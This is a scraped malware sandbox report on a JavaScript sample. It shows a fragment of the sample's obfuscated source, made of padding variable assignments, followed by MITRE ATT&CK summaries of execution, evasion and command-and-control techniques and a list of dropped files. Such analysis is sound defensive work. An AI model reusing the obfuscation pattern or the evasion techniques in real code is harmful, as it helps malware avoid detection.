1072	bhkek = "F";
1073	bhkek = "X";
1074	bhkek = "H";
1075	bhkek = "J";
1076	bhkek = "F";
1077	bhkek = "g";
1078	bhkek = "X";
1079	bhkek = "M";
1080	bhkek = "a";
1081	bhkek = "I";
1082	bhkek = "o";
1083	bhkek = "Q";
1084	bhkek = "n";
1085	bhkek = "h";
1086	bhkek = "0";
1087	vtvxgwzz = "L";
1088	vtvxgwzz = "G";
1089	vtvxgwzz = "W";
1090	swyve = "U";
1091	swyve = "E";
1092	swyve = "v";
1093	swyve = "L";
1094	swyve = "L";
1095	swyve = "z";
1096	swyve = "C";
1097	swyve = "Z";
1098	swyve = "b";
1099	swyve = "P";
1100	swyve = "x";
1101	swyve = "e";
1102	swyve = "u";
1103	swyve = "m";
1104	swyve = "L";
1105	swyve = "b";
1106	swyve = "v";
1107	swyve = "N";
1108	swyve = "O";
1109	swyve = "v";
1110	swyve = "B";
1111	swyve = "H";
1112	swyve = "z";
1113	swyve = "A";
1114	swyve = "N";
1115	swyve = "U";
1116	swyve = "i";
1117	swyve = "B";
1118	swyve = "Q";
1119	swyve = "u";
1120	swyve = "M";
1121	swyve = "d";
1122	swyve = "g";
1123	swyve = "9";
1124	xkvpe = "A";
1125	xkvpe = "l";
1126	xkvpe = "E";
1127	xkvpe = "a";
1128	xkvpe = "o";
1129	xkvpe = "v";
1130	xkvpe = "k";
1131	xkvpe = "k";
1132	xkvpe = "p";
1133	xkvpe = "T";
1134	xkvpe = "Q";
1135	xkvpe = "A";
1136	xkvpe = "s";
1137	xkvpe = "X";
1138	xkvpe = "p";
1139	xkvpe = "D";
1140	xkvpe = "G";
1141	xkvpe = "Z";
1142	xkvpe = "B";
1143	xkvpe = "e";
1144	jegitq = "j";
1145	jegitq = "j";
1146	jegitq = "F";
1147	jegitq = "O";
1148	jegitq = "r";
1149	jegitq = "J";
1150	jegitq = "T";
1151	jegitq = "i";
1152	jegitq = "u";
1153	jegitq = "O";
1154	jegitq = "z";
1155	jegitq = "b";
1156	jegitq = "w";
1157	jegitq = "n";
1158	jegitq = "a";
1159	jegitq = "b";
1160	jegitq = "O";
1161	sgeuhmos = "z";
1162	sgeuhmos = "U";
1163	sgeuhmos = "R";
1164	sgeuhmos = "E";
1165	sgeuhmos = "q";
1166	sgeuhmos = "f";
1167	sgeuhmos = "o";
1168	sgeuhmos = "a";
1169	sgeuhmos = "S";
1170	sgeuhmos = "n";
1171	sgeuhmos = "a";
1172	sgeuhmos = "E";
1173	sgeuhmos = "O";
1174	sgeuhmos = "y";
1175	sgeuhmos = "V";
1176	sgeuhmos = "T";
1177	sgeuhmos = "D";
1178	sgeuhmos = "b";
1179	sgeuhmos = "E";
1180	sgeuhmos = "U";
1181	sgeuhmos = "r";
1182	sgeuhmos = "V";
1183	sgeuhmos = "r";
1184	sgeuhmos = "w";
1185	sgeuhmos = "L";
1186	sgeuhmos = "O";
1187	sgeuhmos = "R";
1188	sgeuhmos = "Z";
1189	sgeuhmos = "k";
1190	sgeuhmos = "W";
1191	sgeuhmos = "N";
1192	sgeuhmos = "y";
1193	sgeuhmos = "q";
1194	sgeuhmos = "t";
1195	sgeuhmos = "@";
1196	tnnuejw = "M";
1197	tnnuejw = "B";
1198	tnnuejw = "Y";
1199	tnnuejw = "f";
1200	wzmwj = "B";
1201	wzmwj = "q";
1202	wzmwj = "V";
1203	wzmwj = "P";
1204	wzmwj = "U";
1205	wzmwj = "i";
1206	wzmwj = "P";
1207	wzmwj = "R";
1208	wzmwj = "N";
1209	wzmwj = "j";
1210	wzmwj = "l";
1211	wzmwj = "D";
1212	wzmwj = "l";
1213	wzmwj = "z";
1214	wzmwj = "H";
1215	wzmwj = "H";
1216	wzmwj = "V";
1217	wzmwj = "m";
1218	wzmwj = "R";
1219	wzmwj = "L";
1220	wzmwj = "L";
1221	wzmwj = "Z";
1222	wzmwj = "r";
1223	wzmwj = "Y";
1224	wzmwj = "T";
1225	wzmwj = "S";
1226	wzmwj = "C";
1227	wzmwj = "K";
1228	wzmwj = "N";
1229	wzmwj = "J";
1230	wzmwj = "G";
1231	wzmwj = "l";
1232	wzmwj = "I";
1233	wzmwj = "r";
1234	wzmwj = "N";
1235	wzmwj = "C";
1236	wzmwj = "u";
1237	wzmwj = "d";
1238	wzmwj = "n";
1239	wzmwj = "V";
1240	wzmwj = "M";
1241	wzmwj = "J";
1242	wzmwj = "i";
1243	wzmwj = "M";
1244	wzmwj = "i";
1245	rmnwal = "h";
1246	rmnwal = "H";
1247	rmnwal = "p";
1248	rmnwal = "V";
1249	rmnwal = "c";
1250	rmnwal = "g";
1251	rmnwal = "H";
1252	rmnwal = "A";
1253	rmnwal = "q";
1254	rmnwal = "k";
1255	rmnwal = "Z";
1256	rmnwal = "I";
1257	rmnwal = "f";
1258	rmnwal = "i";
1259	rmnwal = "K";
1260	rmnwal = "S";
1261	rmnwal = "n";
1262	rmnwal = "e";
1263	rmnwal = "s";
1264	rmnwal = "i";
1265	rmnwal = "W";
1266	rmnwal = "C";
1267	mtcobfn = "B";
1268	mtcobfn = "H";
1269	mtcobfn = "v";
1270	mtcobfn = "G";
1271	mtcobfn = "y";
1272	mtcobfn = "w";
1273	mtcobfn = "F";
1274	mtcobfn = "f";
1275	mtcobfn = "m";
1276	mtcobfn = "S";
1277	mtcobfn = "g";
1278	mtcobfn = "a";
1279	mtcobfn = "u";
1280	mtcobfn = "u";
1281	mtcobfn = "k";
1282	mtcobfn = "p";
1283	mtcobfn = "v";
1284	mtcobfn = "H";
1285	mtcobfn = "q";
1286	mtcobfn = "p";
1287	mtcobfn = "4";
1288	mmnhytxg = "h";
1289	mmnhytxg = "j";
1290	mmnhytxg = "z";
1291	mmnhytxg = "G";
1292	mmnhytxg = "W";
1293	mmnhytxg = "y";
1294	mmnhytxg = "q";
1295	mmnhytxg = "l";
1296	mmnhytxg = "X";
1297	mmnhytxg = "j";
1298	mmnhytxg = "r";
1299	qgaier = "K";
1300	qgaier = "r";
1301	qgaier = "Y";
1302	qgaier = "T";
1303	epuenh = "S";
1304	epuenh = "A";
1305	epuenh = "v";
1306	epuenh = "i";
1307	epuenh = "d";
1308	epuenh = "M";
1309	epuenh = "o";
1310	epuenh = "D";
1311	epuenh = "6";
1312	dngpefbpr ( );	dngpefbpr() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1601021956623126375.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\8e3c44ed-5033-4c4a-bb15-108cc0bac8eb.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7716

Windows Analysis Report
1601021956623126375.js